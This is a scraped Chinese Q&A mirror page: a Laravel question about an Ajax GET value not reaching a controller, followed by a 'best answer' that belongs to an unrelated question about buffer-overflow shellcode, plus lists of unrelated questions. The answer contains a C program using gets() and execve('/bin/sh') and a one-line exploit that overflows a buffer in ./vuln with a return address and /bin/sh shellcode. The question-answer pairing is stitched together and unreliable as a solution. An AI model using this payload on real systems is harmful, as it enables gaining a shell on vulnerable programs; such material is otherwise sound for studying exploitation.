首页 \ 问答 \ 无法将值从Ajax传递给控制器(Can not pass value from Ajax to controller)

无法将值从Ajax传递给控制器(Can not pass value from Ajax to controller)

我的AJAX:

   $.ajax({
        url: '{{ URL::to('dashboard') }}',
        type: 'GET',
        data: { cid: val },
        dataType:'JSON',
        success: function(result) {
        },
        error: function(){
            $('#status-msg').addClass('alert alert-danger');
            $('#status-msg').text('Fejl!!');
        }
    });   

我的路线:

我的控制器:

    public function dashboard(){
        if (Request::ajax()){
            $cid = Input::get('cid');
            var_dump(json_encode($cid));
        } else {
            echo "XX";
        }      
    }

cid没有传递给控制器​​,请求AJAX不起作用。


My AJAX:

   $.ajax({
        url: '{{ URL::to('dashboard') }}',
        type: 'GET',
        data: { cid: val },
        dataType:'JSON',
        success: function(result) {
        },
        error: function(){
            $('#status-msg').addClass('alert alert-danger');
            $('#status-msg').text('Fejl!!');
        }
    });   

My Route:

My Controller:

    public function dashboard(){
        if (Request::ajax()){
            $cid = Input::get('cid');
            var_dump(json_encode($cid));
        } else {
            echo "XX";
        }      
    }

The cid is not passing to controller, the request AJAX is not working.


原文:https://stackoverflow.com/questions/28177776
更新时间:2023-07-11 14:07

最满意答案

当shellcode execve(/ bin / sh)执行时,它没有连接的标准输入(因为GETS)并将终止。

解决方案是关闭stdin描述符,在执行/ bin / sh之前重新打开/ dev / tty。

#include <unistd.h>
#include <stdio.h>
#include <sys/fcntl.h>

int main(void) {
    char buf[50];
    gets(buf);
    printf("Yo %s\n", buf);
    close(0);
    open("/dev/tty", O_RDWR | O_NOCTTY);
    execve ("/bin/sh", NULL, NULL);
}

相关回答: execve(“/ bin / sh”,0,0); 在管道里

也可以使用执行有效载荷

( python -c "print 'A'*62 + '\x35\x56\x55\x56' + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"; cat ) | ./vuln

When the shellcode execve(/bin/sh) executes, it has no connected standard input (because of GETS) and will terminate.

The solution is to close stdin descriptor, reopen /dev/tty before executing /bin/sh.

#include <unistd.h>
#include <stdio.h>
#include <sys/fcntl.h>

int main(void) {
    char buf[50];
    gets(buf);
    printf("Yo %s\n", buf);
    close(0);
    open("/dev/tty", O_RDWR | O_NOCTTY);
    execve ("/bin/sh", NULL, NULL);
}

Related answer: execve("/bin/sh", 0, 0); in a pipe

It is also possible to execute the payload by using

( python -c "print 'A'*62 + '\x35\x56\x55\x56' + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"; cat ) | ./vuln

相关问答

更多
  • Shellcode实际是一段代码,是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。 中文名: 填充数据 外文名: shellcode 类型: 漏洞代码 平台: 互联网
  • 首先直接删是治标不治本的,用不了几天还会被挂的 看源文件也是没有用的,可能写在你的其他包含文件里或者JS文件或者数据库里!下面讲被挂马后的一般查马和解决方法。 网页中被插入Js/iframe的可能性的途径: 虽然问题简单,但详细说起来从服务器、传输过程和客户端3个层次来分析。 1、就服务器而言存在的可能: (1) 直接修改网页插入,现象是网页被改动了。 (2) 通过ISAPI Filter插入,现象是出现了陌生的ISAPI加载项。 (3) 通过IIS的脚注插入,现象是脚注设置被启用了。 (4) 通过网络TD ...
  • int是用于触发软件中断的操作码。 软件中断编号(从0到255)并由内核处理。 在Linux系统上,中断128(0x80)是系统调用的常规入口点。 内核需要寄存器中的系统调用参数; 特别是,%eax寄存器识别我们正在谈论的系统调用。 将%ebx设置为0 计算%ebx + 23并将结果存储在%eax中(操作码是lea作为“加载有效地址”但不涉及内存访问;这只是添加的一种狡猾的方式)。 系统调用。 %eax包含23,这意味着系统调用是setuid 。 该系统调用使用一个参数(目标UID),可在%ebx中找到,该 ...
  • 您忘了设置edx因此它包含上次使用它的C代码,并且不太可能是有效的环境指针。 在独立代码中,由于程序的初始启动状态, edx恰好为零。 如果你使用strace你可以看到execve返回-EFAULT ,然后执行继续通过你的代码进入垃圾,然后真正的段错误。 您可以修复shellcode,例如: char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x8 ...
  • 您通常不需要“弄清楚”shellcode的地址。 使用set字符串溢出缓冲区并计算出偏移量。 说 AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC 其中BBBB覆盖EIP(下一个指令地址),并且CCCC在ESP寄存器指向的位置下降。 您需要找到一个可以继续在shellcode上执行的指令,您可以在CCCC开始的位置插入该指令。 比如JMP ESP指令。 这需要是静态的(例如,没有ASLR),并且地址不应包含任何“坏”字符,例如可能终止缓冲区的\x00 。 所以过程是: 缓冲区溢出 ...
  • 当shellcode execve(/ bin / sh)执行时,它没有连接的标准输入(因为GETS)并将终止。 解决方案是关闭stdin描述符,在执行/ bin / sh之前重新打开/ dev / tty。 #include #include #include int main(void) { char buf[50]; gets(buf); printf("Yo %s\n", buf); close( ...
  • 您的问题是.text部分默认情况下不可写。 最简单的方法是将代码放入一个标记为可写的新自定义部分。 在asm文件的顶部添加以下行: section .shellcode progbits alloc exec write align=16 您也可以将-N开关传递给链接器。 或者,您可以重写shellcode,以便它使用堆栈来创建参数。 Your problem is that the .text section is not writable by default. The easiest thing ...
  • 问题是mov al,0x3b 。 你忘了将顶部位归零,所以如果它们不是零,你将不会执行execve系统调用,而是执行其他操作。 简单的调试应该指出这一点。 解决方案很简单:只需在此之前插入xor eax, eax 。 此外,由于您将返回地址附加到您的漏洞利用,因此该字符串将不再为零终止。 通过在运行时使用例如mov [rdi + 7], al存储零也很容易修复,就在你清除了eax 。 完整的漏洞可能看起来像: ruby -e 'print "\x90" * 98 + "\xeb\x18\x5f\x31\xc ...
  • 似乎第一个int 0x80返回eax的返回值。 之后你将al设置为1 ,但不是eax 。 因此,您应该将代码更改为: mov eax,1 xor ebx,ebx int 0x80 It seems that first int 0x80 returns the return value in eax. After that you set al to 1, but not eax. So you should change your code to: mov eax,1 xor ebx,ebx int 0 ...
  • 在python3中,sys.argv [1]将是一个str(unicode,在python2中),因此无需解码。 一个简单的测试 - arg_type.py: import sys shellcode = sys.argv[1] print(type(shellcode)) 在python3和python 2中运行 $ python3.4 arg_type.py 'é' $ python2.7 arg_type.py 'é' 请注意,在python ...

相关文章

更多

最新问答

更多
  • 您如何使用git diff文件,并将其应用于同一存储库的副本的本地分支?(How do you take a git diff file, and apply it to a local branch that is a copy of the same repository?)
  • 将长浮点值剪切为2个小数点并复制到字符数组(Cut Long Float Value to 2 decimal points and copy to Character Array)
  • OctoberCMS侧边栏不呈现(OctoberCMS Sidebar not rendering)
  • 页面加载后对象是否有资格进行垃圾回收?(Are objects eligible for garbage collection after the page loads?)
  • codeigniter中的语言不能按预期工作(language in codeigniter doesn' t work as expected)
  • 在计算机拍照在哪里进入
  • 使用cin.get()从c ++中的输入流中丢弃不需要的字符(Using cin.get() to discard unwanted characters from the input stream in c++)
  • No for循环将在for循环中运行。(No for loop will run inside for loop. Testing for primes)
  • 单页应用程序:页面重新加载(Single Page Application: page reload)
  • 在循环中选择具有相似模式的列名称(Selecting Column Name With Similar Pattern in a Loop)
  • System.StackOverflow错误(System.StackOverflow error)
  • KnockoutJS未在嵌套模板上应用beforeRemove和afterAdd(KnockoutJS not applying beforeRemove and afterAdd on nested templates)
  • 散列包括方法和/或嵌套属性(Hash include methods and/or nested attributes)
  • android - 如何避免使用Samsung RFS文件系统延迟/冻结?(android - how to avoid lag/freezes with Samsung RFS filesystem?)
  • TensorFlow:基于索引列表创建新张量(TensorFlow: Create a new tensor based on list of indices)
  • 企业安全培训的各项内容
  • 错误:RPC失败;(error: RPC failed; curl transfer closed with outstanding read data remaining)
  • C#类名中允许哪些字符?(What characters are allowed in C# class name?)
  • NumPy:将int64值存储在np.array中并使用dtype float64并将其转换回整数是否安全?(NumPy: Is it safe to store an int64 value in an np.array with dtype float64 and later convert it back to integer?)
  • 注销后如何隐藏导航portlet?(How to hide navigation portlet after logout?)
  • 将多个行和可变行移动到列(moving multiple and variable rows to columns)
  • 提交表单时忽略基础href,而不使用Javascript(ignore base href when submitting form, without using Javascript)
  • 对setOnInfoWindowClickListener的意图(Intent on setOnInfoWindowClickListener)
  • Angular $资源不会改变方法(Angular $resource doesn't change method)
  • 在Angular 5中不是一个函数(is not a function in Angular 5)
  • 如何配置Composite C1以将.m和桌面作为同一站点提供服务(How to configure Composite C1 to serve .m and desktop as the same site)
  • 不适用:悬停在悬停时:在元素之前[复制](Don't apply :hover when hovering on :before element [duplicate])
  • 常见的python rpc和cli接口(Common python rpc and cli interface)
  • Mysql DB单个字段匹配多个其他字段(Mysql DB single field matching to multiple other fields)
  • 产品页面上的Magento Up出售对齐问题(Magento Up sell alignment issue on the products page)